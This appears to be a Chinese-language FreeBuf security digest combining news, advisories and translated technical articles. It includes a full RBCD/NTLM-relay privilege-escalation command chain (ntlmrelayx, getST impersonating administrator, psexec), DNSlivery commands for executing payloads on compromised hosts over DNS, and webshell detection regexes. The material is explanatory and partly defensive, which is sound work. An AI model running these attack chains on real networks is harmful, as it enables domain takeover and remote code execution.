日前,皇家加拿大骑警(RCMP)宣布,他们逮捕了加拿大最高级别的情报官员之一,此人的职位是加拿大警方国家情报协调中心主任。奥尔蒂斯面临七项来自刑法和《信息安全法》(SOIA)的指控。SOIA是有关国家安全问题的法律,是只在处理涉外间谍案件时才涉及的少见法律。[阅读原文]

【安全事件】

1.Harbor任意管理员注册漏洞

Harbor是一个用于存储和分发Docker镜像的企业级Registry服务器,通过添加一些企业必需的功能特性,例如安全、标识和管理等,扩展了开源Docker Distribution。近日Harbor曝出一个垂直越权漏洞,因注册模块对参数校验不严格,可导致任意管理员注册。[阅读原文]

2.比特币钱包Electrum遭受黑客钓鱼攻击 至少1450枚比特币遭窃

黑客通过恶意服务器向Electrum客户端广播消息,提示用户更新至v4.0.0版本,如果用户按照提示安装了此“携带后门的客户端”,则私钥会遭到窃取,所有的数字资产将被盗。截至发稿时,伪造Electrum升级提示的钓鱼攻击已盗窃至少1450枚BTC(被盗数量由一名用户、反恶意软件公司Malwarebytes和Electrum官方统计而来),总价值约1160万美元。[阅读原文]

3.RHEL 6和CentOS 6分支迎来重要Linux内核安全更新

Red Hat Enterprise Linux 6和CentOS Linux 6发行版本分支今天收到了重要的Linux内核安全更新,修复了两个关键漏洞和其他问题。Red Hat Product Security 团队将该安全更新标记为“重要”,修复了CVE-2018-9568和CVE-2019-11810两个严重错误。[阅读原文]

4.安全更新导致Microsoft Defender无法正常执行快速/全盘扫描

微软近期发布的累积更新令人担忧,在KB4515384导致开始菜单和内置搜索功能无法使用、玩游戏时声音过小和不协调、网络适配器无法启用、PIN码登录系统障碍之后,又一项适用于Windows 10的安全更新导致Windows Defender的手动扫描功能。[阅读原文]

5.Github收购代码分析平台公司Semmle 致力于查找零日漏洞及其变种

已被微软纳入麾下了开源代码托管平台 Github,刚刚宣布收购了一家名叫 Semmle 的代码分析平台公司。后者致力于查找零日漏洞,并对其变体展开自动化分析。Semmle 的语义代码分析引擎,允许开发者编写查询、识别大型代码库中的编程模式、搜索漏洞及其变种。[阅读原文]

6.升级漏洞被攻击者“青睐” 阿里旺旺被利用进行病毒投放

安全团队在用户现场截获一起利用阿里旺旺升级漏洞,通过HTTP劫持植入病毒的攻击事件,攻击者可利用该漏洞下发任意代码。截止到目前,从阿里官方下载的阿里旺旺新、旧两个版本(买家版)均存在此漏洞。[阅读原文]

7.暴露在公网的PACS服务器泄露了超过4亿张医学放射图像

Greenbone Networks漏洞分析公司的研究人员发现,公网上存在600台不安全的PACS服务器,导致4亿张医疗放射图像被泄露。这项数据泄露研究从2019年7月中旬起,2019年9月初才算完结。[外刊-阅读原文]

【优质文章】

1.风险分析是工业互联网安全的基础

工业互联网的安全风险分析主要还是集中在网络安全风险分析层面,对于工业安全风险的需求考虑尚欠缺。工业安全风险分析和网络安全风险分析还是相对独立的两套体系在运行,需尽快打破边界限制,建立统一的风险分析框架和方法论,迈出工业互联网安全贯彻落实最坚定的一步。[阅读原文]

2.大型互联网企业威胁情报运营与实践思考

通过对各种角度上的威胁进行梳理后,我们可以把整个互联网企业可能面临的安全威胁分为三大类,一类是以通用组件漏洞、僵木蠕为首的面向基础设施的威胁,第二类是以业务系统缺陷、越权漏洞为代表的面向业务系统的威胁,第三类是以POI/UGC爬取、欺诈流量(也就是刷差评/好评的)等面向业务数据层面的威胁。有了威胁,才能去谈威胁的情报。[阅读原文]

*本文内容收集自全球范围内的媒体与刊物,制作者对其完整性负责,但不对其真实性和有效性负责。

*标注为【外刊】的内容主要来源为英语国家的媒体与刊物,部分内容需要注册免费账号后方可阅读。

原文阅读

冰蝎动态二进制加密WebShell特征分析
lowliness 2019-9-20 0:0 转存

概述

冰蝎一款新型加密网站管理客户端,在实际的渗透测试过程中有非常不错的效果,能绕过目前市场上的大部分WAF、探针设备。本文将通过在虚拟环境中使用冰蝎,通过wireshark抓取冰蝎通信流量,结合平时在授权渗透中使用冰蝎马经验分析并总结特征。

版本介绍

目前冰蝎已经迭代6个版本下载地址,从最初的v1.0版本到目前最新的版本v2.0.1,其中v1.0版本可以从此处下载到。

冰蝎最初的版本对于环境的要求较为苛刻,仅支持部分环境,绝大部分环境中都无法连接成功,目前最新版本可使用范围有了较大的提升,PHP 5-PHP 7全版本支持,Java最低支持至1.6,.NET最低支持至2.0。

冰蝎最初版本User-Agent头为客户端JDK版本,v1.1开始新增随机UserAgent支持,每次会话会从17种常见UserAgent中随机选取。

由于冰蝎在通信过程中使用AES加密,Java和.Net默认支持AES加密,php环境中需要开启openssl扩展,v2.0更新以后,PHP环境加密方式根据服务器端支持情况动态选择,不再依赖openssl,使得冰蝎有了更大的发挥空间。

JSP冰蝎马,此处不作冰蝎马分析。

PHP冰蝎马

通信流量分析

在本地搭建环境抓取冰蝎流量来进行简单的特征分析,主要测试冰蝎最初版本和最新版本,v1.0和v2.0.1,提取通信关键特征。

服务端虚拟机win7、客户端本地主机win10、Tomcat8,客户端服务端Java环境均为1.8。

V1.0版本冰蝎连接

抓取到的通信流量如下:

从Wireshark中抓到的数据包中可以看出,冰蝎与传统的管理工具一样,操作请求均为POST。从流量包中可以清楚看到请求头中携带的User-Agent: Java/1.8.0_181为客户端Java环境的版本且会随着客户端的Java环境而变化,Content-Type: application/octet-stream表示以二进制流传输数据,响应体的数据被加密,无法看出响应的内容是什么,Content-Type: application/octet-stream代表二进制流也不能作为判定的依据,暂时无法提取的有效的特征,但是注意到冰蝎在建立之前会有一个GET请求,咱们在最新版本中看一下会不会有这个GET请求。

V2.0.1版本冰蝎连接

冰蝎v2.0.1连接成功,抓取到流量包如下:

我们通过查看POST数据包发现除上述提到冰蝎增加了随机的User-Agent和v1.0并无其它本质上的区别。

但是我们注意到依然会有GET请求,冰蝎检测的难点在于在通信过程中数据通过加密传输,难以提取特征,下面我们比较一下两个版本之间在连接过程中发起的GET请求。

V1.0请求包详情如下:

V2.0.1请求包详情如下:

通过比较发现,冰蝎在连接之前会发送一个GET请求,服务端如果正常会响应一个16位的字符串。其实冰蝎每一次连接请求都会向服务端发送一次GET请求获取16位的密钥,这16位的字符串就是密钥,在客户端和服务端的通信过程中使用密钥进行加密以达到免杀的目的,因此只要我们能在流量中发现这样特征的流量,便可以发现隐藏在流量中的冰蝎webshell。

冰蝎特征总结

检测请求方式:Request.method= GET

检测请求资源:Request.url= /[\w.]*\.[a-zA-Z]{3,4}\?\w{0,20}=\d{0,10}

检测服务端响应(仅16位密钥):Response.body.startwith =\w{16}

上述正则仅供参考,实际过程中需要防止规则被绕过,例如:shell的名字、后缀(可能利用解析漏洞等)、密码的长度等等。本次仅从v1.0和v2.0.1中去分析,实际在目前的版本中都存在获取密钥这个请求,由于篇幅有限,只举例说明了这个两个版本。

文末总结

与检测传统的网站管理工具不同的,中国菜刀、中国蚁剑、c刀等都从POST请求中去提取特征,而冰蝎在通信过程中使用加密传输无法获取明文,因此,利用冰蝎在和服务端通信过程中会获取密钥的特性去检测也许会是一种可行的方法。

参考链接

基于流量侧检测冰蝎webshell交互通讯

*本文作者:lowliness,转载请注明来自FreeBuf.COM

原文阅读

DNSlivery:通过DNS发送文件和payload的工具
周大涛 2019-9-19 22:0 转存

前言

DNSlivery是一款使用DNS作为传输协议将文件传递到目标的工具。

特点

1.执行或上传文件到目标机器

2.目标上的不需要任何客户端

3.不需要完整的DNS服务器

它可以轻松地将文件或payload传送到受损目标,不需要使用传统的Web传输,无需专用客户端软件。这适用于禁止传出Web流量的受限环境。

虽然现在已经存在更完整的DNS隧道工具(比如 dnscat2iodine),它们都需要在目标上运行专用客户端。问题是DNS可能没有其他办法在这种受限制的环境中提供客户端。换句话说,使用这些工具构建DNS通信通道需要已具有DNS通信通道。

相比之下,DNSlivery仅提供从服务器到目标的单向通信,但不需要任何专用客户端来执行此操作。因此,如果您需要通过DNS构建可靠的双向通信通道,请使用DNSlivery为您的目标提供更高级的DNS隧道工具的客户端。

它是如何工作的?

与大多数DNS隧道工具一样,DNSlivery使用TXT记录以base64表示形式存储文件内容。但是,它不需要设置完整的DNS服务器。相反,它使用scapy库来侦听传入的DNS数据包并制作所需的响应。

由于大多数文件不适合单个TXT记录,DNSlivery将创建包含该文件的base64块的多个有序记录,上面的图示出了输送第二命名的文件的块file。

为了检索所有base64块并将它们重新组合在一起而不需要在目标上使用专用客户端,DNSlivery将为每个文件生成:

1.一个明文发送器

2.一个base64编码stager

需要这两个阶段的交付过程来向stager添加功能(处理丢失的DNS响应),否则这些功能将不适合单个TXT记录。

关于目标兼容性的注意

目前,仅支持PowerShell目标。但是,可以改进DNSlivery以支持其他目标,例如bash或python。如果这是您希望实现的功能,请告诉我@ no0be

要求

DNSlivery不需要构建复杂的服务器基础结构。实际上,只有两个简单的要求:

1.能够NS在您的公共DNS区域中创建记录

2.拥有一台能够从Internet 接收流量的Linux服务器,开放udp/53

DNS

第一步是通过NS在域中创建新记录,将子域委派给将运行DNSlivery的服务器。作为示例,我创建了以下记录以将子域委托dnsd.no0.be给服务器vps.no0.be。

dnsd    IN  NS vps.no0.be.

如果您的区域由第三方提供商管理,请参阅其文档以创建NS记录。

DNSlivery

运行DNSlivery的唯一要求是python3它的scapy库。

git clone https://github.com/no0be/DNSlivery.git &&  CD DNSliverypip install -r requirements.txt

用法

服务器

DNSlivery将为给定目录的所有文件提供服务(pwd默认情况下),并且需要以root权限运行s以侦听传入的udp/53数据包。

usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserverDNSlivery - Easy files and payloads delivery over DNSpositional arguments:  interface             interface to listen to DNS traffic  domain                FQDN name of the DNS zone  nameserver            FQDN name of the server running DNSliveryoptional arguments:  -h, --help            show this help message and exit  -p PATH, --path PATH  path of directory to serve over DNS (default: pwd)  -s SIZE, --size SIZE  size in bytes of base64 chunks (default: 255)  -v, --verbose         increase verbosity

示例:

$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-deliveryDNSlivery - Easy files and payloads delivery over DNS[*] File "file" ready for delivery at file.dnsd.no0.be (7 chunks)[*] Listening for DNS queries...

关于文件名规范化的注意

由于允许域名的字符集比UNIX文件名更具限制性(根据RFC1035),DNSlivery将在需要时执行规范化。

示例:

[*] File "My Awesome Powershell Script ;) .ps1" ready for delivery at my-awesome-powershell-script----ps1.dnsd.no0.be (1891 chunks)

请注意,当前的规范化代码并不完美,因为它不会考虑重叠的文件名或大小限制。

目标

在目标上,首先通过请求其专用记录来检索所需文件的启动器TXT。支持以下三个启动器:

行动 发射台 描述
输出 [filename].print.[domain] (默认)将传送的文件打印到控制台
执行 [filename].exec.[domain] 执行传递的文件
保存 [filename].save.[domain] 将传递的文件保存到磁盘
nslookup -type = txt [filename].[stager].[domain]

然后,只需将DNS响应中引用的启动器复制并粘贴到PowerShell控制台即可检索目标上的文件。

示例:

参考来源:GitHub,FB小编周大涛编译,转载请注明来自FreeBuf.COM

原文阅读

精品公开课 | XSS从0到1 | WEB安全基础课程
FB客服 2019-9-19 9:7 转存

690_345.jpg微信截图_20190919164633.png

如今各种基于前端的攻击手法层出不穷,web前端安全不容忽视。XSS是一种经常出现在Web应用中的计算机安全漏洞,攻击者会向web页面(input表单、URL、留言版等位置)插入恶意JavaScript代码,导致管理员/用户访问时触发,从而达到攻击者的目的。

本课程从浏览器特性开始说起,期间会详细讲到浏览器对URL JS HTML 的解析规则以及基于这些规则去绕过某些拦截。

微信截图_20190919164811.png

微信截图_20190919164940.png

微信截图_20190919165255.png

微信截图_20190919165048.png

原价29.9元限时只要25.8元!

报名链接:

https://live.freebuf.com/detail/459e170dc34b328792d466503986d78d

二维码报名:

1566988556.png

扫描二维码,点击“立即报名”即可完成购买

所有课程购买完毕后,可登入FreeBuf账号

我的主页→我的课程,查看课程视频及资料

扫码加入公开课讨论群和讲师交流知识技术

原文阅读

漏洞预警 | Harbor任意管理员注册漏洞
斗象智能安全平台 2019-9-19 8:36 转存

一、前言

Harbor是一个用于存储和分发Docker镜像的企业级Registry服务器,通过添加一些企业必需的功能特性,例如安全、标识和管理等,扩展了开源Docker Distribution。

作为一个企业级私有Registry服务器,Harbor提供了更好的性能和安全。提升用户使用Registry构建和运行环境传输镜像的效率。Harbor支持安装在多个Registry节点的镜像资源复制,镜像全部保存在私有Registry中, 确保数据和知识产权在公司内部网络中管控。另外,Harbor也提供了高级的安全特性,诸如用户管理,访问控制和活动审计等。

斗象智能安全平台CRS/ARS产品已全面支持该漏洞的检测与验证,斗象智能安全平台用户可直接登陆www.riskivy.com进行验证。

二、漏洞简介

近日Harbor曝出一个垂直越权漏洞,因注册模块对参数校验不严格,可导致任意管理员注册。

三、漏洞危害

经斗象安全应急响应团队分析,攻击者可以通过注册管理员账号来接管Harbor镜像仓库,从而写入恶意镜像,最终可以感染使用此仓库的客户端。

四、影响范围

产品

Harbor

版本

1.7.0-1.8.2

版本

Harbor

五、漏洞复现

经斗象安全应急响应团队分析,漏洞确实存在,可以越权注册管理员账号。

微信图片_20190919162936.jpg

六、修复方案

1、升级Harbor版本到 1.7.6 和 1.8.3

七、参考

https://unit42.paloaltonetworks.com/critical-vulnerability-in-harbor-enables-privilege-escalation-from-zero-to-admin-cve-2019-16097/

https://github.com/goharbor/harbor/issues/8951

以上是本次高危漏洞预警的相关信息,如有任何疑问或需要更多支持,可通过以下方式与我们取得联系。

联系电话:400-156-9866

Email:help@tophant.com

原文阅读

用Windows打造自己精简便捷的渗透工具集
少帅力 2019-9-19 5:10 转存

背景

因为工作原因对公司上线的web系统进行测试,所以需要经常用到burp、sqlmap、dirb(支持目录递归)等工具,每次打开kali虚拟机这个占用20G磁盘4G内存的重量级工具,就用其中两三款用完再关,磁盘IO要反应老半天,重新打开又要老半天,于是我想到把常用的工具搬到win下来。

win下大家耳熟能详的工具应该就是大名鼎鼎的pentestbox,可能我和它合不来,印象中我装了三次里面的nmap都没好用,而且它对我来说也是重量级了,动不动几个G磁盘没了,太占磁盘而且大部分工具可能用不到,而且你还得学习一下它的目录划分,工具设置配置什么的,我就研究研究利用cmder打造自己的win工具的技巧,说实话呢,前期失败了,没有专研,所以放弃了,今天突然灵感居然成功了。

目标

常用的工具能像kali的命令一样使用,比如kali使用sqlmap命令,那咱们就用sqlmap命令而不是sqlmap.py。

看完这篇文章你可以灵活打造自己的工具集。

cmder介绍:

官网 https://cmder.net/ 其实pentestbox用的终端就是cmder, 其实cmder是Windows下cmd终端最理想的替代品,它支持了大部分的Linux命令。支持ssh连接linux,使用起来非常方便。比起cmd、powershell、conEmu,其界面美观简洁,功能强大。需要的可以自行了解。下面贴个我的截图:

cmder安装没下,你从官网下载完整版,然后解压放到一个想放的目录里就可以了,这里我放D盘的program files x86文件夹了,   (注意:第一次打开cmder要点击cmder.exe右键管理员运行,便于它的安装各种Linux命令工具)。

cmder的目录结构:

然后把cmder的路径添加到环境变量,就可以使用cmder命令了,这不是主要的,主要就是你使用win+r然后输入cmder即可打开cmder,支持浏览器那样的快捷键如Ctrl+T新建标签页等等,其实cmder也可以添加到右键菜单,详细的请自行百度。

构建工具目录

先截图看看我的工具的大分类,有web工具,逆向,信息收集工具,先这几类吧!这几类下面的子目录放各种工具,这样方便迁移,因为安全工具多体积大,所以不放C盘。

下载安全工具并配置

说明:如果你在本机安装了nmap、msf之类的,在cmd可以直接使用的话,在cmder中也可以直接使用,下面以sqlmap为例

说明,如果在win下你把sqlmap的目录添加到环境变量,可能是无法使用sqlmap.py命令,即使能使用每次都是输入完整文件名如sqlmap.py,咱们要做成kali那种直接使用sqlmap

sqlmap的下载配置(sqlmap已经支持python3.x了)

https://github.com/sqlmapproject/sqlmap 下载源代码放到咱们的工具目录,如下:

已经放好了,现在在cmder中还不能用,下面需要创建一条sqlmap命令,说是创建只是给咱们的sqlmap启动添加个别名 因为启动sqlmap的命令是 python sqlmap.py,咱们的sqlmap是在D:\sec_tools\tools_web\sqlmap,所以咱们本地的sqlmap启动命令是python D:\sec_tools\tools_web\sqlmap\sqlmap.py,打开cmder的配置命令别名文件,在cmder的config目录下的

复制一份user_aliases的备份,打开user_aliases,在文件中添加咱们的命令别名如下:

注意: 在命令的后面我用红框标记的$*一定要带上,不然sqlmap命令是无法读取参数的,带上才能正常使用sqlmap的各个参数,下面附一张报错的图:

所以那个命令末尾要有参数的话要加上$*,再来一张成功的图:

如果你在本地安装了nmap和msf什么的,在cmder中可以直接用的,下面来个nmap的截图:

利用文中同样的方法,你可以把常用的各种python工具集成到一起了,形成自己的一个工具集,而且使用上和kali中的命令一样!

*本文原创作者:少帅力,本文属于FreeBuf原创奖励计划,未禁许可禁止转载

原文阅读

在满补丁的Win10域主机上绕过图形接口依赖实现本地提权
secist 2019-9-19 5:0 转存

在最近一次的活动目录(Active Directory)评估期间,我们以低权限用户的身份访问了一个完全修补且安全的域工作站。在尝试了许多不同的方法来提升本地权限后,我们发现了Elad Shamir发表的一篇题为“Wagging the Dog:滥用基于资源的约束委派攻击活动目录”[1]的博文。

该帖中提到了关于低权限用户可能滥用用户配置文件图像更改功能,从给定计算机实现作为SYSTEM的网络身份验证。然后,此身份验证将被中继到Active Directory LDAP服务,以便为该特定计算机设置基于资源的约束委派[2],这引起了我们的注意。

这似乎是一个有趣的方法,但这里有一个问题:攻击需要访问图形界面。不幸的是,我们获取的是一个反向shell,还没有找到一种可以安全访问图形界面的方法。因此,我们必须摆脱对GUI的依赖。

Objective

本文的目的是向大家展示,如何在打满补丁的Win10域主机上绕过图形接口依赖实现本地提权。你可能已经注意到了[1],这种攻击并不新鲜,但我们已经删除了它的一些依赖项,同时我们也已自动化了该过程,以简化我们的操作过程。

攻击条件

截至本文撰写,攻击者仍需满足以下条件,才能使用此技术妥协Active Directory计算机对象:

具有至少一个ServicePrincipalName (SPN)的帐户。此帐户将被配置为受害者系统上的“允许代表其他身份(Allowed To Act On Behalf Of Other Identity)”,并将用于调用S4U2self和S4U2proxy协议。

必须在受害计算机上安装WebDAV Redirector功能。这是因为WebDAV客户端不协商签名,因此允许身份验证中继到LDAP。

SMB中继可以使用最近发现的signing/MIC NTLM绕过来实现,但这已被微软修复了。[6] [7]

指向攻击者计算机的DNS记录。WebDAV客户端将仅自动向Intranet区域中的主机进行身份验证。这意味着使用IP而非主机名是行不通的。

访问GUI以使用“Create your picture –> Browse for one”功能。其中一个步骤是由System(因此,计算机帐户在网络中)完成的,并且可以指定WebDAV路径(\\maliciousWebDav@80\pics\pic.jpg)

以下信息对尝试满足上述依赖非常有用:

1. 默认的Active Directory ms-DS-MachineAccountQuota属性,允许所有域用户向域中添加最多10个计算机帐户[4]。另外,计算机帐户具有其SPN属性的值,因此允许使用S4U协议。

1.png

2. 在Windows 10上,默认情况下已安装WebDAV客户端。在Windows Server 2012R2及更早版本中,需要桌面体验功能(Desktop Experience feature )。 在Windows Server 2016及更高版本上,必须手动安装WebDAV Redirector 功能。

2.png

3. 默认情况下,经过身份验证的用户在Active Directory集成DNS(ADIDNS)区域中,具有“创建所有子对象”ACL。这样可以创建新的DNS记录。

3.png

前三个条件很容易满足,因为它们代表了默认的Active Directory和Windows配置。但是,GUI的依赖在我们的场景中着实是一个令人感到沮丧的限制。

通过命令行更改图像

作为第一种方法,我们研究了使用API或Windows命令实用程序来更改配置文件图像 – 但并没有成功。然而,我们发现了通过对锁屏图像的操作可以暴露出相同的攻击路径。

以下截图说明了这一点。

4.png

注意:在发表这篇文章前几天,Elad Shamir发表文章称他还发现了这个锁屏图像攻击路径。有关他的研究可以在[12]中找到。

在研究锁屏图像功能时,我们发现在本例中,可以使用API来执行锁屏图像更改[3]。使用这个API,我们最终通过命令行实现了SYSTEM网络身份验证。

编写PowerShell脚本和C#程序集以利用此API。我们调用了实用程序Change-Lockscreen,它可以在以下链接中找到:

https://github.com/nccgroup/Change-Lockscreen

使用此工具,指示提供图像的WebDAV的路径,Change-Lockscreen将执行导致所需网络身份验证的操作。

请注意,默认情况下,Windows 10具有一个名为Windows Spotlight的功能。此功能会自动下载并显示锁屏图像。启用此功能后,Change-Lockscreen将禁用它,并建立参数中指定的图像(尝试使用opsec)。但是,如果用户设置了一个静态的、自定义的锁屏图像而不是使用Spotlight,则Change-Lockscreen将备份该图像,并在攻击完成后将其放回原位。

演示视频:

在Impacket中实施攻击

最初,我们使用3xocyte(与Elad Shamir合作)开发的rbcd_relay.py委托中继工具[5]。虽然这在我们的一些测试场景中非常有用,但它并没有涵盖我们所需的一切。因此,我们决定通过执行pull请求,在3xcely的工作和SecureAuth的Impacket项目[13]中添加我们自己的内容。

我们向ntlmrelayx添加了一个名为–serve-image的新标志。使用此标志,ntlmrelayx将提供指定的图像以满足攻击的目的。

此外,为了利用WebDAV的服务器功能,有必要在httprelayserver.py中实现OPTIONS和PROPFIND方法。OPTIONS方法用于通知客户端支持并启用PROPFIND方法。它是PROPFIND请求,其中包括NTLM身份验证,因此这个请求将被中继以执行攻击(示例请求如下图所示)。

5.png

示例用法如下:

ntlmrelayx.py -t ldap://dc01.capsule.corp --delegate-access --escalate-user machine$ --serve-image ./spot.jpg

这些功能已经在Impacket中合并,你可以在以下位置找到:

https://github.com/SecureAuthCorp/impacket

PoC

以下是有关使用Change-Lockscreen和ntlmrelayx攻击的视频演示:

以下步骤对应于上述视频内容:

1. 我们需要一个具有ServicePrincipalName属性值的帐户,才能调用S4U2Self和S4U2Proxy。我们可以滥用默认的Active Directory ms-DS-MachineAccountQuota属性,将计算机帐户添加到域中并使用它(Powermad [11])。

$pass = ConvertTo-SecureString ‘NCC1234!’ -AsPlainText -Force ; New-MachineAccount –MachineAccount s4umachine -Password $pass

2. 我们必须创建一个指向攻击者机器(攻击者IP)的DNS记录(ImageServer.capsule.corp)。

$cred = New-Object System.Management.Automation.PSCredential (“CAPSULE\s4umachine”, $pass); Invoke-DNSUpdate -DNSType A -DNSName ImageServer.capsule.corp -DNSData 10.10.11.137 -Credential $cred -Realm capsule.corp

3. 我们通过使用low-priv用户来更改锁屏图像来触发Fileserver的网络身份验证。

Change-Lockscreen –Webdav \\imageserver@80\

4. 使用ntlmrelayx,身份验证将中继到LDAP。这允许我们修改机器的msDS-AllowedToActOnBehalfOfOtherIdentity属性。

Ntlmrelayx.py -t ldap://dc01.capsule.corp --delegate-access --escalate-user s4umachine$ --serve-image ./spot.jpg

5. 现在,我们可以使用受信任的计算机(S4UMachine$)模拟文件服务器上任意服务的任意用户。

getST.py capsule\s4umachine:’NCC1234!’@fileserver.capsule.corp -spn cifs/fileserver.capsule.corp -impersonate administrator -dc-ip 10.10.11.128
Export KRB5CCNAME=administrator.ccache
Psexec.py -k -no-pass fileserver.capsule.corp

以下短视频以图形、概念化的方式向大家展示了攻击中涉及的各个步骤。

缓解和检测 

以下几点有助于缓解和检测此类攻击:

由于此攻击依赖于能够为自身配置基于Kerberos资源的约束委派的计算机,因此拒绝自己写入msDS-AllowedToActOnBehalfOfOtherIdentity属性的计算机上的新ACE,将有助于缓解此攻击面。

对msDS-AllowedToActOnBehalfOfOtherIdentity属性,实施适当的SACL将有助于检测对此功能的修改。

最后,通过channel绑定启用LDAP签名,可以缓解使用此攻击执行的身份验证中继。

有关此主题的完整详细说明,请参阅Wagging the Dog [1]。

参考文献

  1. https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
  2. https://docs.microsoft.com/en-us/windows-server/security/kerberos/kerberos-constrained-delegation-overview
  3. https://docs.microsoft.com/en-us/uwp/api/windows.system.userprofile.lockscreen
  4. https://docs.microsoft.com/es-es/windows/desktop/adschema/a-ms-ds-machineaccountquota
  5. https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c
  6. https://blog.preempt.com/drop-the-mic
  7. https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
  8. https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/
  9. http://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/
  10. https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/
  11. https://github.com/Kevin-Robertson/Powermad
  12. https://shenaniganslabs.io/2019/08/08/Lock-Screen-LPE.html
  13. https://github.com/SecureAuthCorp/impacket

*参考来源:nccgroup,FB小编secist编译,转载请注明来自FreeBuf.COM

原文阅读

Gartner 2019年人工智能成熟度曲线的超前趋势
宇宸默安 2019-9-19 2:51 转存

Gartner的这种成熟度周期凸显出人工智能正以多种不同的方式影响企业

根据Gartner对2019年的CIO议程调查,2018年至2019年间,部署人工智能(AI)的组织从4%增长到了14%。

与几年前相比,人工智能正在以多种不同的方式影响组织,当时没有其他方法可以替代使用机器学习(ML)构建自己的解决方案。AutoML和智能应用拥有较明显的发展势头,其他方法也同样值得关注——即人工智能平台即服务(AIPaaS)或人工智能云服务。

受亚马逊Alexa、谷歌Assistant等公司在全球范围内取得成功的推动,对话人工智能仍是企业规划日程中的首要内容。与此同时,诸如增强智能、边缘人工智能、数据标签和可解释的人工智能等新技术不断涌现。

今年的成熟度曲线出现了许多新技术,但被大众所知晓的有价值或目标的很少

Gartner 2019年人工智能成熟度曲线审查了在AI领域的创新和趋势潮流,以及AI计划范围。快速跟风者,首先应该为AI设计一个商业案例。对于早期使用者来说,AI的可扩展性是下一个挑战。

今年的成熟度周期包含了很多新技术,但被大众所知晓的有价值或目标的很少,而被主流应用的则少之又少。“这并不代表AI是不可用的。这表示它将会发生改变,为了评估AI的价值和风险,CIO需要为其设定现实的预期。” Gartner副总裁分析师Svetlana Sicular表示。

以下是Sicular重点介绍的人工智能技术,这些技术必须在CIO的计划上,才能在未来两到五年内对业务转型产生巨大影响。

CTMKT_736691_Hype_Cycle_for_AI_2019.png

增强型智能(Augmented intelligence)

增强型智能是以人为中心的AI与人协作提高认知能力的合作模式。它关注的是人工智能在提高人类能力方面的辅助作用。

AI与人们互动,改善他们已经知道的事物,可以减少日常失误,并可以改善客户互动、市民服务和病人护理。增强型智能的目标是提高自动化的效率,同时辅以人性化和常识来管理决策自动化的风险。

吐槽:不再是我们日常所调戏的Siri和人工智障爱酱,开始追求更高的智慧,比如阿尔法狗这种,目前听说过的比较成功的就是游戏的黑科技外挂,星际1、拳皇97的黑科技可以秒杀世界顶级选手,如果在其他领域开发出这样的增强型智能程序,是不是离Skynet也不远了。

image.png

聊天机器人(chatbots)

聊天机器人是AI的代表,影响着人们所有可交流的领域,比如汽车制造商KIA,它每周与11.5万名用户对话,或者Lidl的Winebot Margot,它提供购买葡萄酒的指导和食物搭配方面的建议。

聊天机器人可以基于文本或语音,也可以两者结合,并依赖于极少人为干预的脚本响应。

常见的应用程序存在于HR、IT帮助台和自助服务中,聊天机器人在客户服务领域已经产生极大影响,尤其是改变了客户服务的执行方式。从“用户学习界面”到“聊天机器人正在学习用户想要的东西”的转变,意味着对员工入职、工作效率和培训的更大影响。

吐槽:感觉是一个很好的方向,但请不要用在推销式垃圾短信方面。比如某宝,凡事留过电话的店铺,后边就有源源不断的打折活动短信。用在一些已形成标准化的办事流程上,也许确实可以省去很多繁琐的步骤。

机器学习(Machine Learning,ML)

机器学习可以解决业务问题,如个性化的客户服务、供应链推荐、动态定价、医疗诊断和反洗黑钱。ML使用数学模型从数据中提取知识和模式。随着组织面临的数据量的指数增长和计算基础设施的改进,ML的使用也在增加。

目前,ML被用于多个领域和行业,以推动改进,并为业务问题找到新的解决方案。美国运通使用数据分析和ML算法来帮助检测几乎实时的欺诈行为,以节省数百万美元的损失。沃尔沃利用数据帮助预测零部件何时可能出现故障,何时需要维修,从而提高了其汽车的安全性。

AI治理

组织不应该忽视AI治理。他们需要意识到潜在的监管和声誉风险。Sicular说:“AI治理是制定政策,对抗AI相关的偏见、歧视和AI其他负面影响的过程。”

确定数据源和算法的透明度要求,减少风险并增强信心

为了发展人工智能治理,数据和分析领导者和CIO应该关注三个领域:信任、透明度和多样性。他们需要关注对数据源和人工智能结果的信任,以确保人工智能的成功使用。他们还需要确定数据源和算法的透明度要求,以降低风险,增强对人工智能的信心。此外,应该确保数据、算法和观点的多样性,以追求人工智能的道德伦理和准确性。

吐槽:IT治理大家都很熟悉,AI治理目前只是理论阶段。近几年经常可以看到,对于安全和AI领域道德伦理问题,可能后边真的要提上日程了。为什么这么说,不知道大家有没有看过最近上映的《鬼娃回魂2019》,没有任何约束的机器学习,最后造就出来的AI是个什么样,确实很难说。

智能应用

大多数组织对获取AI功能的偏好正在发生改变,更倾向于将其用于企业应用程序中。智能应用是具有嵌入式或集成AI技术的企业应用,通过智能自动化、以数据为基础的分析和指导建议来支持或替代基于人工的活动,以提高生产力和决策制定。

今天,企业应用程序供应商正在他们的产品中嵌入AI技术,并引入人工智能平台功能——从企业资源规划到客户关系管理,再到人力资源管理,再到劳动力生产率应用程序。

CIO们应该向他们的外包软件供应商提出要求,需要他们在产品路线图中概述如何结合AI,以高级分析、智能流程和高级用户体验的形式增加业务价值。

*本文作者:宇宸默安,转载请注明来自FreeBuf.COM

原文阅读

Donot APT组织(肚脑虫)伪装克什米尔新闻APP的攻击活动分析
奇安信威胁情报中心 2019-9-19 2:0 转存

背景

Donot“肚脑虫”(APT-C-35)是疑似具有南亚背景的APT组织,由奇安信威胁情报中心红雨滴团队(@RedDrip7)持续跟踪发现并命名,其主要针对巴基斯坦等南亚地区国家进行网络间谍活动。

该APT组织主要针对政府机构等领域进行攻击,以窃取敏感信息为主要目的。该APT组织除了以携带Office漏洞或者恶意宏的鱼叉邮件进行恶意代码的传播之外,还格外擅长利用安卓APK进行恶意代码传播。

